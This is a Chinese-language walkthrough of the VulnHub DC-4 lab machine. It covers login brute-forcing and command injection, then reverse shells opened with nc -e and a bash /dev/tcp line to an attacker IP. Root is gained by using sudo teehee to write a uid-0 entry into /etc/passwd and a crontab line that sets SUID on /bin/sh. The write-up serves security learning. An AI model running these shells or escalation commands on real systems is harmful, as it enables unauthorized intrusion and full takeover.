0x00 靶机环境
下载地址1:https://www.vulnhub.com/entry/dc-4,313/
下载地址2:https://pan.baidu.com/s/1VSecvfMlV7dN1-W7YlxrHg 提取码: tiwz
只有一个flag
,但是给了多个切入点。
开肝。
0x01 渗透流程
nmap
走起
服务端口继续扫
这次有两个端口存在,不可能ssh
弱密码吧,还是先来80
了。
只有这么一个登陆界面,试了SQL
什么都没反应,sqlmap
也一把梭过了,啥都没。通过页面的信息收集也找不到特别有用的信息,无奈只能上大招了,同时对ssh
和http
进行猜解。
http
猜解时使用的用户名是四个system,root,admin,administrator
,密码则是使用burpsuite
中的默认字典
感觉跑了不少出来,但是实际是只有第一个admin/happy
是行的。
SSH
则失败了,不过已经有切入点了,这个先放放,登陆后看后台是啥样
后台管理功能,感觉是命令执行啊,查看表单参数
啊哈,直接传命令的,那么就尝试下命令执行。
真有,那就反弹shell
吧
kali
上接shell
这里有点尴尬,接不上,没想明白为啥。
没办法只能换了,试了下有nc
,直接用nc
,nc -e /bin/bash 192.168.181.141 12345
走起,接shell
用python
改善下shell
环境python -c 'import pty;pty.spawn("/bin/bash")'
,查看版本信息
准备提权,先查看suid
提权文件find / -perm -u=s -type f 2>/dev/null
有两个熟悉的文件,sudo -l
先走
需要密码,那再看/home/jim/test.sh
吧
让咱好好学bash
呢,这脚本有权限的话,是可以用来提权的。
谁都能执行,GO
,先测试下whoami
提权失败?没明白,再看一次发现。。
没有suid
了,这么神奇的吗,绝了。这到底发生了什么。。。
不过发现了一个backups
的目录,还有一个mbox
疑似邮件箱的文件,不过这个mbox
没有权限查看,只能先看目录了,能拿到jim
权限就还可以
有个备份文件,似乎是历史密码本
用来猜解之前失败的ssh
,用户名直接使用jim
,再来一次
来了jim/jibril04
,ssh
上去看文件。
啥都没啊,白瞎,继续提权
这里也什么都没有,再翻翻邮箱。。。
有惊喜,又得到一个用户,尝试走一波
成功登陆,第三次尝试提权。。。。
又是sudo
,再看
终于有东西了。teehee --help
查看下用法,感觉和tee
差不多
单纯的管道命令,但是这里有root
权限,可以写/etc/passwd
,增加uid
为0
的用户,
不行,这里有点小坑,sudo
要放在teehee
前,而不是在语句前,再来一次
echo "test:x:0:0::/root:/bin/bash"|sudo teehee -a /etc/passwd
增加成功,但是这里登陆不上,仍然需要密码,同时尝试过去掉中间的x
即密码点位符,同样也是登陆失败,使用su
切换用户也是不行的。
那就只能考虑利用teehee
写配置文件了,这里利用写crontab
文件
echo "* * * * * root chmod 4777 /bin/sh" |sudo teehee -a /etc/crontab
成功提权
怎么感觉这么套娃呢。。
0x02 总结
这是还是有点坑,几个点,一个个的来总结。
第一个坑
为啥使用bash -i >& /dev/tcp/192.168.181.141/12345 1>&2
反弹shell
不成功?
想不明白!!!
第二个坑
首先是那个suid
消失的test.sh
,重新开了一次环境,测试发现,一改内容suid
就没了
我在kali
中测试结果如下,如果是root
修改文件内容,suid
不消失,修改属主,suid
才会消失。但是如果是普通用户修改文件内容suid
会消失的。
那这个地方提权,可以用charles
使用teehee
增加test.sh
文件内容
增加文件内容后,suid
还在
但是结果还是失败了,感觉是suid
的理解不太好。果然被作者教育了,需要好好学shell
。。。
后来仔细想了下这里为什么不能利用的原因,因为suid
是在运行中权限变为owner
的权限,这里的test.sh
的owner
为jim
,自然也是以jim
的身份运行,并不是有suid
就是root
身份,当然的提权失败,知识确实学的不牢固,现在理解深刻多了。
第三个坑
写admin
无密码管理员用户失败的原因确实没发现为什么,但是我后来测试,用jim
账户就可以成功,用charles
账号则需要密码。。。
echo "admin::0:0::/root:/bin/bash"|sudo teehee -a /etc/passwd
charles
失败
jim
成功
不晓得是不是我把环境玩坏了的原因。重新开环境后,证实确实是环境被玩坏了。
没想起来是哪出问题了,算了,就这样。